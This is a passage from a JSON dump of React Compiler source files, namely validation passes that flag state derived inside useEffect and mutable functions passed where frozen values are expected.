functions.get(value.args[0].identifier.id);\n          const deps = candidateDependencies.get(value.args[1].identifier.id);\n          if (\n            effectFunction != null &&\n            deps != null &&\n            deps.elements.length !== 0 &&\n            deps.elements.every(element => element.kind === 'Identifier')\n          ) {\n            const dependencies: Array<IdentifierId> = deps.elements.map(dep => {\n              CompilerError.invariant(dep.kind === 'Identifier', {\n                reason: `Dependency is checked as a place above`,\n                loc: value.loc,\n              });\n              return locals.get(dep.identifier.id) ?? dep.identifier.id;\n            });\n            validateEffect(\n              effectFunction.loweredFunc.func,\n              dependencies,\n              fn.env,\n            );\n          }\n        }\n      }\n    }\n  }\n}\n\nfunction validateEffect(\n  effectFunction: HIRFunction,\n  effectDeps: Array<IdentifierId>,\n  env: Environment,\n): void {\n  for (const operand of effectFunction.context) {\n    if (isSetStateType(operand.identifier)) {\n      continue;\n    } else if (effectDeps.find(dep => dep === operand.identifier.id) != null) {\n      continue;\n    } else {\n      // Captured something other than the effect dep or setState\n      return;\n    }\n  }\n  for (const dep of effectDeps) {\n    if (\n      effectFunction.context.find(operand => operand.identifier.id === dep) ==\n      null\n    ) {\n      // effect dep wasn't actually used in the function\n      return;\n    }\n  }\n\n  const seenBlocks: Set<BlockId> = new Set();\n  const values: Map<IdentifierId, Array<IdentifierId>> = new Map();\n  for (const dep of effectDeps) {\n    values.set(dep, [dep]);\n  }\n\n  const setStateLocations: Array<SourceLocation> = [];\n  for (const block of effectFunction.body.blocks.values()) {\n    for (const pred of block.preds) {\n      if (!seenBlocks.has(pred)) {\n        // skip if block has a back edge\n        return;\n      }\n    }\n    for (const phi of block.phis) {\n      const aggregateDeps: Set<IdentifierId> = new Set();\n      for (const operand of phi.operands.values()) {\n        const deps = values.get(operand.identifier.id);\n        if (deps != null) {\n          for (const dep of deps) {\n            aggregateDeps.add(dep);\n          }\n        }\n      }\n      if (aggregateDeps.size !== 0) {\n        values.set(phi.place.identifier.id, Array.from(aggregateDeps));\n      }\n    }\n    for (const instr of block.instructions) {\n      switch (instr.value.kind) {\n        case 'Primitive':\n        case 'JSXText':\n        case 'LoadGlobal': {\n          break;\n        }\n        case 'LoadLocal': {\n          const deps = values.get(instr.value.place.identifier.id);\n          if (deps != null) {\n            values.set(instr.lvalue.identifier.id, deps);\n          }\n          break;\n        }\n        case 'ComputedLoad':\n        case 'PropertyLoad':\n        case 'BinaryExpression':\n        case 'TemplateLiteral':\n        case 'CallExpression':\n        case 'MethodCall': {\n          const aggregateDeps: Set<IdentifierId> = new Set();\n          for (const operand of eachInstructionValueOperand(instr.value)) {\n            const deps = values.get(operand.identifier.id);\n            if (deps != null) {\n              for (const dep of deps) {\n                aggregateDeps.add(dep);\n              }\n            }\n          }\n          if (aggregateDeps.size !== 0) {\n            values.set(instr.lvalue.identifier.id, Array.from(aggregateDeps));\n          }\n\n          if (\n            instr.value.kind === 'CallExpression' &&\n            isSetStateType(instr.value.callee.identifier) &&\n            instr.value.args.length === 1 &&\n            instr.value.args[0].kind === 'Identifier'\n          ) {\n            const deps = values.get(instr.value.args[0].identifier.id);\n            if (deps != null && new Set(deps).size === effectDeps.length) {\n              setStateLocations.push(instr.value.callee.loc);\n            } else {\n              // doesn't depend on any deps\n              return;\n            }\n          }\n          break;\n        }\n        default: {\n          return;\n        }\n      }\n    }\n    for (const operand of eachTerminalOperand(block.terminal)) {\n      if (values.has(operand.identifier.id)) {\n        //\n        return;\n      }\n    }\n    seenBlocks.add(block.id);\n  }\n\n  for (const loc of setStateLocations) {\n    env.recordError(\n      new CompilerErrorDetail({\n        category: ErrorCategory.EffectDerivationsOfState,\n        reason:\n          'Values derived from props and state should be calculated during render, not in an effect. (https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state)',\n        description: null,\n        loc,\n        suggestions: null,\n      }),\n    );\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoDerivedComputationsInEffects_exp.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {Result} from '../Utils/Result';\nimport {CompilerDiagnostic, CompilerError, Effect} from '..';\nimport {ErrorCategory} from '../CompilerError';\nimport {\n  BlockId,\n  FunctionExpression,\n  HIRFunction,\n  IdentifierId,\n  isSetStateType,\n  isUseEffectHookType,\n  Place,\n  CallExpression,\n  Instruction,\n  isUseStateType,\n  BasicBlock,\n  isUseRefType,\n  SourceLocation,\n  ArrayExpression,\n} from '../HIR';\nimport {eachInstructionLValue, eachInstructionOperand} from '../HIR/visitors';\nimport {isMutable} from '../ReactiveScopes/InferReactiveScopeVariables';\nimport {assertExhaustive} from '../Utils/utils';\n\ntype TypeOfValue = 'ignored' | 'fromProps' | 'fromState' | 'fromPropsAndState';\n\ntype DerivationMetadata = {\n  typeOfValue: TypeOfValue;\n  place: Place;\n  sourcesIds: Set<IdentifierId>;\n  isStateSource: boolean;\n};\n\ntype EffectMetadata = {\n  effect: HIRFunction;\n  dependencies: ArrayExpression;\n};\n\ntype ValidationContext = {\n  readonly functions: Map<IdentifierId, FunctionExpression>;\n  readonly candidateDependencies: Map<IdentifierId, ArrayExpression>;\n  readonly errors: CompilerError;\n  readonly derivationCache: DerivationCache;\n  readonly effectsCache: Map<IdentifierId, EffectMetadata>;\n  readonly setStateLoads: Map<IdentifierId, IdentifierId | null>;\n  readonly setStateUsages: Map<IdentifierId, Set<SourceLocation>>;\n};\n\nconst MAX_FIXPOINT_ITERATIONS = 100;\n\nclass DerivationCache {\n  hasChanges: boolean = false;\n  cache: Map<IdentifierId, DerivationMetadata> = new Map();\n  private previousCache: Map<IdentifierId, DerivationMetadata> | null = null;\n\n  takeSnapshot(): void {\n    this.previousCache = new Map();\n    for (const [key, value] of this.cache.entries()) {\n      this.previousCache.set(key, {\n        place: value.place,\n        sourcesIds: new Set(value.sourcesIds),\n        typeOfValue: value.typeOfValue,\n        isStateSource: value.isStateSource,\n      });\n    }\n  }\n\n  checkForChanges(): void {\n    if (this.previousCache === null) {\n      this.hasChanges = true;\n      return;\n    }\n\n    for (const [key, value] of this.cache.entries()) {\n      const previousValue = this.previousCache.get(key);\n      if (\n        previousValue === undefined ||\n        !this.isDerivationEqual(previousValue, value)\n      ) {\n        this.hasChanges = true;\n        return;\n      }\n    }\n\n    if (this.cache.size !== this.previousCache.size) {\n      this.hasChanges = true;\n      return;\n    }\n\n    this.hasChanges = false;\n  }\n\n  snapshot(): boolean {\n    const hasChanges = this.hasChanges;\n    this.hasChanges = false;\n    return hasChanges;\n  }\n\n  addDerivationEntry(\n    derivedVar: Place,\n    sourcesIds: Set<IdentifierId>,\n    typeOfValue: TypeOfValue,\n    isStateSource: boolean,\n  ): void {\n    let finalIsSource = isStateSource;\n    if (!finalIsSource) {\n      for (const sourceId of sourcesIds) {\n        const sourceMetadata = this.cache.get(sourceId);\n        if (\n          sourceMetadata?.isStateSource &&\n          sourceMetadata.place.identifier.name?.kind !== 'named'\n        ) {\n          finalIsSource = true;\n          break;\n        }\n      }\n    }\n\n    this.cache.set(derivedVar.identifier.id, {\n      place: derivedVar,\n      sourcesIds: sourcesIds,\n      typeOfValue: typeOfValue ?? 'ignored',\n      isStateSource: finalIsSource,\n    });\n  }\n\n  private isDerivationEqual(\n    a: DerivationMetadata,\n    b: DerivationMetadata,\n  ): boolean {\n    if (a.typeOfValue !== b.typeOfValue) {\n      return false;\n    }\n    if (a.sourcesIds.size !== b.sourcesIds.size) {\n      return false;\n    }\n    for (const id of a.sourcesIds) {\n      if (!b.sourcesIds.has(id)) {\n        return false;\n      }\n    }\n    return true;\n  }\n}\n\nfunction isNamedIdentifier(place: Place): place is Place & {\n  identifier: {name: NonNullable<Place['identifier']['name']>};\n} {\n  return (\n    place.identifier.name !== null && place.identifier.name.kind === 'named'\n  );\n}\n\n/**\n * Validates that useEffect is not used for derived computations which could/should\n * be performed in render.\n *\n * See https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state\n *\n * Example:\n *\n * ```\n * // 🔴 Avoid: redundant state and unnecessary Effect\n * const [fullName, setFullName] = useState('');\n * useEffect(() => {\n *   setFullName(firstName + ' ' + lastName);\n * }, [firstName, lastName]);\n * ```\n *\n * Instead use:\n *\n * ```\n * // ✅ Good: calculated during rendering\n * const fullName = firstName + ' ' + lastName;\n * ```\n */\nexport function validateNoDerivedComputationsInEffects_exp(\n  fn: HIRFunction,\n): Result<void, CompilerError> {\n  const functions: Map<IdentifierId, FunctionExpression> = new Map();\n  const candidateDependencies: Map<IdentifierId, ArrayExpression> = new Map();\n  const derivationCache = new DerivationCache();\n  const errors = new CompilerError();\n  const effectsCache: Map<IdentifierId, EffectMetadata> = new Map();\n\n  const setStateLoads: Map<IdentifierId, IdentifierId> = new Map();\n  const setStateUsages: Map<IdentifierId, Set<SourceLocation>> = new Map();\n\n  const context: ValidationContext = {\n    functions,\n    candidateDependencies,\n    errors,\n    derivationCache,\n    effectsCache,\n    setStateLoads,\n    setStateUsages,\n  };\n\n  if (fn.fnType === 'Hook') {\n    for (const param of fn.params) {\n      if (param.kind === 'Identifier') {\n        context.derivationCache.cache.set(param.identifier.id, {\n          place: param,\n          sourcesIds: new Set(),\n          typeOfValue: 'fromProps',\n          isStateSource: true,\n        });\n      }\n    }\n  } else if (fn.fnType === 'Component') {\n    const props = fn.params[0];\n    if (props != null && props.kind === 'Identifier') {\n      context.derivationCache.cache.set(props.identifier.id, {\n        place: props,\n        sourcesIds: new Set(),\n        typeOfValue: 'fromProps',\n        isStateSource: true,\n      });\n    }\n  }\n\n  let isFirstPass = true;\n  let iterationCount = 0;\n  do {\n    context.derivationCache.takeSnapshot();\n\n    for (const block of fn.body.blocks.values()) {\n      recordPhiDerivations(block, context);\n      for (const instr of block.instructions) {\n        recordInstructionDerivations(instr, context, isFirstPass);\n      }\n    }\n\n    context.derivationCache.checkForChanges();\n    isFirstPass = false;\n    iterationCount++;\n    CompilerError.invariant(iterationCount < MAX_FIXPOINT_ITERATIONS, {\n      reason:\n        '[ValidateNoDerivedComputationsInEffects] Fixpoint iteration failed to converge.',\n      description: `Fixpoint iteration exceeded ${MAX_FIXPOINT_ITERATIONS} iterations while tracking derivations. This suggests a cyclic dependency in the derivation cache.`,\n      loc: fn.loc,\n    });\n  } while (context.derivationCache.snapshot());\n\n  for (const [, effect] of effectsCache) {\n    validateEffect(effect.effect, effect.dependencies, context);\n  }\n\n  return errors.asResult();\n}\n\nfunction recordPhiDerivations(\n  block: BasicBlock,\n  context: ValidationContext,\n): void {\n  for (const phi of block.phis) {\n    let typeOfValue: TypeOfValue = 'ignored';\n    let sourcesIds: Set<IdentifierId> = new Set();\n    for (const operand of phi.operands.values()) {\n      const operandMetadata = context.derivationCache.cache.get(\n        operand.identifier.id,\n      );\n\n      if (operandMetadata === undefined) {\n        continue;\n      }\n\n      typeOfValue = joinValue(typeOfValue, operandMetadata.typeOfValue);\n      sourcesIds.add(operand.identifier.id);\n    }\n\n    if (typeOfValue !== 'ignored') {\n      context.derivationCache.addDerivationEntry(\n        phi.place,\n        sourcesIds,\n        typeOfValue,\n        false,\n      );\n    }\n  }\n}\n\nfunction joinValue(\n  lvalueType: TypeOfValue,\n  valueType: TypeOfValue,\n): TypeOfValue {\n  if (lvalueType === 'ignored') return valueType;\n  if (valueType === 'ignored') return lvalueType;\n  if (lvalueType === valueType) return lvalueType;\n  return 'fromPropsAndState';\n}\n\nfunction getRootSetState(\n  key: IdentifierId,\n  loads: Map<IdentifierId, IdentifierId | null>,\n  visited: Set<IdentifierId> = new Set(),\n): IdentifierId | null {\n  if (visited.has(key)) {\n    return null;\n  }\n  visited.add(key);\n\n  const parentId = loads.get(key);\n\n  if (parentId === undefined) {\n    return null;\n  }\n\n  if (parentId === null) {\n    return key;\n  }\n\n  return getRootSetState(parentId, loads, visited);\n}\n\nfunction maybeRecordSetState(\n  instr: Instruction,\n  loads: Map<IdentifierId, IdentifierId | null>,\n  usages: Map<IdentifierId, Set<SourceLocation>>,\n): void {\n  for (const operand of eachInstructionLValue(instr)) {\n    if (\n      instr.value.kind === 'LoadLocal' &&\n      loads.has(instr.value.place.identifier.id)\n    ) {\n      loads.set(operand.identifier.id, instr.value.place.identifier.id);\n    } else {\n      if (isSetStateType(operand.identifier)) {\n        // this is a root setState\n        loads.set(operand.identifier.id, null);\n      }\n    }\n\n    const rootSetState = getRootSetState(operand.identifier.id, loads);\n    if (rootSetState !== null && usages.get(rootSetState) === undefined) {\n      usages.set(rootSetState, new Set([operand.loc]));\n    }\n  }\n}\n\nfunction recordInstructionDerivations(\n  instr: Instruction,\n  context: ValidationContext,\n  isFirstPass: boolean,\n): void {\n  maybeRecordSetState(instr, context.setStateLoads, context.setStateUsages);\n\n  let typeOfValue: TypeOfValue = 'ignored';\n  let isSource: boolean = false;\n  const sources: Set<IdentifierId> = new Set();\n  const {lvalue, value} = instr;\n  if (value.kind === 'FunctionExpression') {\n    context.functions.set(lvalue.identifier.id, value);\n    for (const [, block] of value.loweredFunc.func.body.blocks) {\n      recordPhiDerivations(block, context);\n      for (const instr of block.instructions) {\n        recordInstructionDerivations(instr, context, isFirstPass);\n      }\n    }\n  } else if (value.kind === 'CallExpression' || value.kind === 'MethodCall') {\n    const callee =\n      value.kind === 'CallExpression' ? value.callee : value.property;\n    if (\n      isUseEffectHookType(callee.identifier) &&\n      value.args.length === 2 &&\n      value.args[0].kind === 'Identifier' &&\n      value.args[1].kind === 'Identifier'\n    ) {\n      const effectFunction = context.functions.get(value.args[0].identifier.id);\n      const deps = context.candidateDependencies.get(\n        value.args[1].identifier.id,\n      );\n      if (effectFunction != null && deps != null) {\n        context.effectsCache.set(value.args[0].identifier.id, {\n          effect: effectFunction.loweredFunc.func,\n          dependencies: deps,\n        });\n      }\n    } else if (isUseStateType(lvalue.identifier)) {\n      typeOfValue = 'fromState';\n      context.derivationCache.addDerivationEntry(\n        lvalue,\n        new Set(),\n        typeOfValue,\n        true,\n      );\n      return;\n    }\n  } else if (value.kind === 'ArrayExpression') {\n    context.candidateDependencies.set(lvalue.identifier.id, value);\n  }\n\n  for (const operand of eachInstructionOperand(instr)) {\n    if (context.setStateLoads.has(operand.identifier.id)) {\n      const rootSetStateId = getRootSetState(\n        operand.identifier.id,\n        context.setStateLoads,\n      );\n      if (rootSetStateId !== null) {\n        context.setStateUsages.get(rootSetStateId)?.add(operand.loc);\n      }\n    }\n\n    const operandMetadata = context.derivationCache.cache.get(\n      operand.identifier.id,\n    );\n\n    if (operandMetadata === undefined) {\n      continue;\n    }\n\n    typeOfValue = joinValue(typeOfValue, operandMetadata.typeOfValue);\n    sources.add(operand.identifier.id);\n  }\n\n  if (typeOfValue === 'ignored') {\n    return;\n  }\n\n  for (const lvalue of eachInstructionLValue(instr)) {\n    context.derivationCache.addDerivationEntry(\n      lvalue,\n      sources,\n      typeOfValue,\n      isSource,\n    );\n  }\n\n  if (value.kind === 'FunctionExpression') {\n    /*\n     * We don't want to record effect mutations of FunctionExpressions the mutations will happen in the\n     * function body and we will record them there.\n     */\n    return;\n  }\n\n  for (const operand of eachInstructionOperand(instr)) {\n    switch (operand.effect) {\n      case Effect.Capture:\n      case Effect.Store:\n      case Effect.ConditionallyMutate:\n      case Effect.ConditionallyMutateIterator:\n      case Effect.Mutate: {\n        if (isMutable(instr, operand)) {\n          if (context.derivationCache.cache.has(operand.identifier.id)) {\n            const operandMetadata = context.derivationCache.cache.get(\n              operand.identifier.id,\n            );\n\n            if (operandMetadata !== undefined) {\n              operandMetadata.typeOfValue = joinValue(\n                typeOfValue,\n                operandMetadata.typeOfValue,\n              );\n            }\n          } else {\n            context.derivationCache.addDerivationEntry(\n              operand,\n              sources,\n              typeOfValue,\n              false,\n            );\n          }\n        }\n        break;\n      }\n      case Effect.Freeze:\n      case Effect.Read: {\n        // no-op\n        break;\n      }\n      case Effect.Unknown: {\n        CompilerError.invariant(false, {\n          reason: 'Unexpected unknown effect',\n          loc: operand.loc,\n        });\n      }\n      default: {\n        assertExhaustive(\n          operand.effect,\n          `Unexpected effect kind \\`${operand.effect}\\``,\n        );\n      }\n    }\n  }\n}\n\ntype TreeNode = {\n  name: string;\n  typeOfValue: TypeOfValue;\n  isSource: boolean;\n  children: Array<TreeNode>;\n};\n\nfunction buildTreeNode(\n  sourceId: IdentifierId,\n  context: ValidationContext,\n  visited: Set<string> = new Set(),\n): Array<TreeNode> {\n  const sourceMetadata = context.derivationCache.cache.get(sourceId);\n  if (!sourceMetadata) {\n    return [];\n  }\n\n  if (sourceMetadata.isStateSource && isNamedIdentifier(sourceMetadata.place)) {\n    return [\n      {\n        name: sourceMetadata.place.identifier.name.value,\n        typeOfValue: sourceMetadata.typeOfValue,\n        isSource: sourceMetadata.isStateSource,\n        children: [],\n      },\n    ];\n  }\n\n  const children: Array<TreeNode> = [];\n\n  const namedSiblings: Set<string> = new Set();\n  for (const childId of sourceMetadata.sourcesIds) {\n    CompilerError.invariant(childId !== sourceId, {\n      reason:\n        'Unexpected self-reference: a value should not have itself as a source',\n      loc: sourceMetadata.place.loc,\n    });\n\n    const childNodes = buildTreeNode(\n      childId,\n      context,\n      new Set([\n        ...visited,\n        ...(isNamedIdentifier(sourceMetadata.place)\n          ? [sourceMetadata.place.identifier.name.value]\n          : []),\n      ]),\n    );\n    if (childNodes) {\n      for (const childNode of childNodes) {\n        if (!namedSiblings.has(childNode.name)) {\n          children.push(childNode);\n          namedSiblings.add(childNode.name);\n        }\n      }\n    }\n  }\n\n  if (\n    isNamedIdentifier(sourceMetadata.place) &&\n    !visited.has(sourceMetadata.place.identifier.name.value)\n  ) {\n    return [\n      {\n        name: sourceMetadata.place.identifier.name.value,\n        typeOfValue: sourceMetadata.typeOfValue,\n        isSource: sourceMetadata.isStateSource,\n        children: children,\n      },\n    ];\n  }\n\n  return children;\n}\n\nfunction renderTree(\n  node: TreeNode,\n  indent: string = '',\n  isLast: boolean = true,\n  propsSet: Set<string>,\n  stateSet: Set<string>,\n): string {\n  const prefix = indent + (isLast ? '└── ' : '├── ');\n  const childIndent = indent + (isLast ? '    ' : '│   ');\n\n  let result = `${prefix}${node.name}`;\n\n  if (node.isSource) {\n    let typeLabel: string;\n    if (node.typeOfValue === 'fromProps') {\n      propsSet.add(node.name);\n      typeLabel = 'Prop';\n    } else if (node.typeOfValue === 'fromState') {\n      stateSet.add(node.name);\n      typeLabel = 'State';\n    } else {\n      propsSet.add(node.name);\n      stateSet.add(node.name);\n      typeLabel = 'Prop and State';\n    }\n    result += ` (${typeLabel})`;\n  }\n\n  if (node.children.length > 0) {\n    result += '\\n';\n    node.children.forEach((child, index) => {\n      const isLastChild = index === node.children.length - 1;\n      result += renderTree(child, childIndent, isLastChild, propsSet, stateSet);\n      if (index < node.children.length - 1) {\n        result += '\\n';\n      }\n    });\n  }\n\n  return result;\n}\n\nfunction getFnLocalDeps(\n  fn: FunctionExpression | undefined,\n): Set<IdentifierId> | undefined {\n  if (!fn) {\n    return undefined;\n  }\n\n  const deps: Set<IdentifierId> = new Set();\n\n  for (const [, block] of fn.loweredFunc.func.body.blocks) {\n    for (const instr of block.instructions) {\n      if (instr.value.kind === 'LoadLocal') {\n        deps.add(instr.value.place.identifier.id);\n      }\n    }\n  }\n\n  return deps;\n}\n\nfunction validateEffect(\n  effectFunction: HIRFunction,\n  dependencies: ArrayExpression,\n  context: ValidationContext,\n): void {\n  const seenBlocks: Set<BlockId> = new Set();\n\n  const effectDerivedSetStateCalls: Array<{\n    value: CallExpression;\n    id: IdentifierId;\n    sourceIds: Set<IdentifierId>;\n    typeOfValue: TypeOfValue;\n  }> = [];\n\n  const effectSetStateUsages: Map<\n    IdentifierId,\n    Set<SourceLocation>\n  > = new Map();\n\n  // Consider setStates in the effect's dependency array as being part of effectSetStateUsages\n  for (const dep of dependencies.elements) {\n    if (dep.kind === 'Identifier') {\n      const root = getRootSetState(dep.identifier.id, context.setStateLoads);\n      if (root !== null) {\n        effectSetStateUsages.set(root, new Set([dep.loc]));\n      }\n    }\n  }\n\n  let cleanUpFunctionDeps: Set<IdentifierId> | undefined;\n\n  const globals: Set<IdentifierId> = new Set();\n  for (const block of effectFunction.body.blocks.values()) {\n    /*\n     * if the block is in an effect and is of type return then its an effect's cleanup function\n     * if the cleanup function depends on a value from which effect-set state is derived then\n     * we can't validate\n     */\n    if (\n      block.terminal.kind === 'return' &&\n      block.terminal.returnVariant === 'Explicit'\n    ) {\n      cleanUpFunctionDeps = getFnLocalDeps(\n        context.functions.get(block.terminal.value.identifier.id),\n      );\n    }\n    for (const pred of block.preds) {\n      if (!seenBlocks.has(pred)) {\n        // skip if block has a back edge\n        return;\n      }\n    }\n\n    for (const instr of block.instructions) {\n      // Early return if any instruction is deriving a value from a ref\n      if (isUseRefType(instr.lvalue.identifier)) {\n        return;\n      }\n\n      maybeRecordSetState(instr, context.setStateLoads, effectSetStateUsages);\n\n      for (const operand of eachInstructionOperand(instr)) {\n        if (context.setStateLoads.has(operand.identifier.id)) {\n          const rootSetStateId = getRootSetState(\n            operand.identifier.id,\n            context.setStateLoads,\n          );\n          if (rootSetStateId !== null) {\n            effectSetStateUsages.get(rootSetStateId)?.add(operand.loc);\n          }\n        }\n      }\n\n      if (\n        instr.value.kind === 'CallExpression' &&\n        isSetStateType(instr.value.callee.identifier) &&\n        instr.value.args.length === 1 &&\n        instr.value.args[0].kind === 'Identifier'\n      ) {\n        const calleeMetadata = context.derivationCache.cache.get(\n          instr.value.callee.identifier.id,\n        );\n\n        /*\n         * If the setState comes from a source other than local state skip\n         * since the fix is not to calculate in render\n         */\n        if (calleeMetadata?.typeOfValue != 'fromState') {\n          continue;\n        }\n\n        const argMetadata = context.derivationCache.cache.get(\n          instr.value.args[0].identifier.id,\n        );\n\n        if (argMetadata !== undefined) {\n          effectDerivedSetStateCalls.push({\n            value: instr.value,\n            id: instr.value.callee.identifier.id,\n            sourceIds: argMetadata.sourcesIds,\n            typeOfValue: argMetadata.typeOfValue,\n          });\n        }\n      } else if (instr.value.kind === 'CallExpression') {\n        const calleeMetadata = context.derivationCache.cache.get(\n          instr.value.callee.identifier.id,\n        );\n\n        if (\n          calleeMetadata !== undefined &&\n          (calleeMetadata.typeOfValue === 'fromProps' ||\n            calleeMetadata.typeOfValue === 'fromPropsAndState')\n        ) {\n          // If the callee is a prop we can't confidently say that it should be derived in render\n          return;\n        }\n\n        if (globals.has(instr.value.callee.identifier.id)) {\n          // If the callee is a global we can't confidently say that it should be derived in render\n          return;\n        }\n      } else if (instr.value.kind === 'LoadGlobal') {\n        globals.add(instr.lvalue.identifier.id);\n        for (const operand of eachInstructionOperand(instr)) {\n          globals.add(operand.identifier.id);\n        }\n      }\n    }\n    seenBlocks.add(block.id);\n  }\n\n  for (const derivedSetStateCall of effectDerivedSetStateCalls) {\n    const rootSetStateCall = getRootSetState(\n      derivedSetStateCall.id,\n      context.setStateLoads,\n    );\n\n    if (\n      rootSetStateCall !== null &&\n      effectSetStateUsages.has(rootSetStateCall) &&\n      context.setStateUsages.has(rootSetStateCall) &&\n      effectSetStateUsages.get(rootSetStateCall)!.size ===\n        context.setStateUsages.get(rootSetStateCall)!.size - 1\n    ) {\n      const propsSet = new Set<string>();\n      const stateSet = new Set<string>();\n\n      const rootNodesMap = new Map<string, TreeNode>();\n      for (const id of derivedSetStateCall.sourceIds) {\n        const nodes = buildTreeNode(id, context);\n        for (const node of nodes) {\n          if (!rootNodesMap.has(node.name)) {\n            rootNodesMap.set(node.name, node);\n          }\n        }\n      }\n      const rootNodes = Array.from(rootNodesMap.values());\n\n      const trees = rootNodes.map((node, index) =>\n        renderTree(\n          node,\n          '',\n          index === rootNodes.length - 1,\n          propsSet,\n          stateSet,\n        ),\n      );\n\n      for (const dep of derivedSetStateCall.sourceIds) {\n        if (cleanUpFunctionDeps !== undefined && cleanUpFunctionDeps.has(dep)) {\n          return;\n        }\n      }\n\n      const propsArr = Array.from(propsSet);\n      const stateArr = Array.from(stateSet);\n\n      let rootSources = '';\n      if (propsArr.length > 0) {\n        rootSources += `Props: [${propsArr.join(', ')}]`;\n      }\n      if (stateArr.length > 0) {\n        if (rootSources) rootSources += '\\n';\n        rootSources += `State: [${stateArr.join(', ')}]`;\n      }\n\n      const description = `Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\n\nThis setState call is setting a derived value that depends on the following reactive sources:\n\n${rootSources}\n\nData Flow Tree:\n${trees.join('\\n')}\n\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state`;\n\n      context.errors.pushDiagnostic(\n        CompilerDiagnostic.create({\n          description: description,\n          category: ErrorCategory.EffectDerivationsOfState,\n          reason:\n            'You might not need an effect. Derive values in render, not effects.',\n        }).withDetails({\n          kind: 'error',\n          loc: derivedSetStateCall.value.callee.loc,\n          message: 'This should be computed during render, not in an effect',\n        }),\n      );\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoFreezingKnownMutableFunctions.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerDiagnostic, Effect} from '..';\nimport {ErrorCategory} from '../CompilerError';\nimport {\n  HIRFunction,\n  IdentifierId,\n  isRefOrRefLikeMutableType,\n  Place,\n} from '../HIR';\nimport {\n  eachInstructionValueOperand,\n  eachTerminalOperand,\n} from '../HIR/visitors';\nimport {AliasingEffect} from '../Inference/AliasingEffects';\n\n/**\n * Validates that functions with known mutations (ie due to types) cannot be passed\n * where a frozen value is expected. Example:\n *\n * ```\n * function Component() {\n *   const cache = new Map();\n *   const onClick = () => {\n *     cache.set(...);\n *   }\n *   useHook(onClick); // ERROR: cannot pass a mutable value\n *   return <Foo onClick={onClick} /> // ERROR: cannot pass a mutable value\n * }\n * ```\n *\n * Because `onClick` function mutates `cache` when called, `onClick` is equivalent to a mutable\n * variables. But unlike other mutables values like an array, the receiver of the function has\n * no way to avoid mutation — for example, a function can receive an array and choose not to mutate\n * it, but there's no way to know that a function is mutable and avoid calling it.\n *\n * This pass detects functions with *known* mutations (Store or Mutate, not ConditionallyMutate)\n * that are passed where a frozen value is expected and rejects them.\n */\nexport function validateNoFreezingKnownMutableFunctions(fn: HIRFunction): void {\n  const contextMutationEffects: Map<\n    IdentifierId,\n    Extract<AliasingEffect, {kind: 'Mutate'} | {kind: 'MutateTransitive'}>\n  > = new Map();\n\n  function visitOperand(operand: Place): void {\n    if (operand.effect === Effect.Freeze) {\n      const effect = contextMutationEffects.get(operand.identifier.id);\n      if (effect != null) {\n        const place = effect.value;\n        const variable =\n          place != null &&\n          place.identifier.name != null &&\n          place.identifier.name.kind === 'named'\n            ? `\\`${place.identifier.name.value}\\``\n            : 'a local variable';\n        fn.env.recordError(\n          CompilerDiagnostic.create({\n            category: ErrorCategory.Immutability,\n            reason: 'Cannot modify local variables after render completes',\n            description: `This argument is a function which may reassign or mutate ${variable} after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead`,\n          })\n            .withDetails({\n              kind: 'error',\n              loc: operand.loc,\n              message: `This function may (indirectly) reassign or modify ${variable} after render`,\n            })\n            .withDetails({\n              kind: 'error',\n              loc: effect.value.loc,\n              message: `This modifies ${variable}`,\n            }),\n        );\n      }\n    }\n  }\n\n  for (const block of fn.body.blocks.values()) {\n    for (const instr of block.instructions) {\n      const {lvalue, value} = instr;\n      switch (value.kind) {\n        case 'LoadLocal': {\n          const effect = contextMutationEffects.get(value.place.identifier.id);\n          if (effect != null) {\n            contextMutationEffects.set(lvalue.identifier.id, effect);\n          }\n          break;\n        }\n        case 'StoreLocal': {\n          const effect = contextMutationEffects.get(value.value.identifier.id);\n          if (effect != null) {\n            contextMutationEffects.set(lvalue.identifier.id, effect);\n            contextMutationEffects.set(\n              value.lvalue.place.identifier.id,\n              effect,\n            );\n          }\n          break;\n        }\n        case 'FunctionExpression': {\n          if (value.loweredFunc.func.aliasingEffects != null) {\n            const context = new Set(\n              value.loweredFunc.func.context.map(p => p.identifier.id),\n            );\n            effects: for (const effect of value.loweredFunc.func\n              .aliasingEffects) {\n              switch (effect.kind) {\n                case 'Mutate':\n                case 'MutateTransitive': {\n                  const knownMutation = contextMutationEffects.get(\n                    effect.value.identifier.id,\n                  );\n                  if (knownMutation != null) {\n                    contextMutationEffects.set(\n                      lvalue.identifier.id,\n                      knownMutation,\n                    );\n                  } else if (\n                    context.has(effect.value.identifier.id) &&\n                    !isRefOrRefLikeMutableType(effect.value.identifier.type)\n                  ) {\n                    contextMutationEffects.set(lvalue.identifier.id, effect);\n                    break effects;\n                  }\n                  break;\n                }\n                case 'MutateConditionally':\n                case 'MutateTransitiveConditionally': {\n                  const knownMutation = contextMutationEffects.get(\n                    effect.value.identifier.id,\n                  );\n                  if (knownMutation != null) {\n                    contextMutationEffects.set(\n                      lvalue.identifier.id,\n                      knownMutation,\n                    );\n                  }\n                  break;\n                }\n              }\n            }\n          }\n          break;\n        }\n        default: {\n          for (const operand of eachInstructionValueOperand(value)) {\n            visitOperand(operand);\n          }\n        }\n      }\n    }\n    for (const operand of eachTerminalOperand(block.terminal)) {\n      visitOperand(operand);\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoImpureFunctionsInRender.ts",
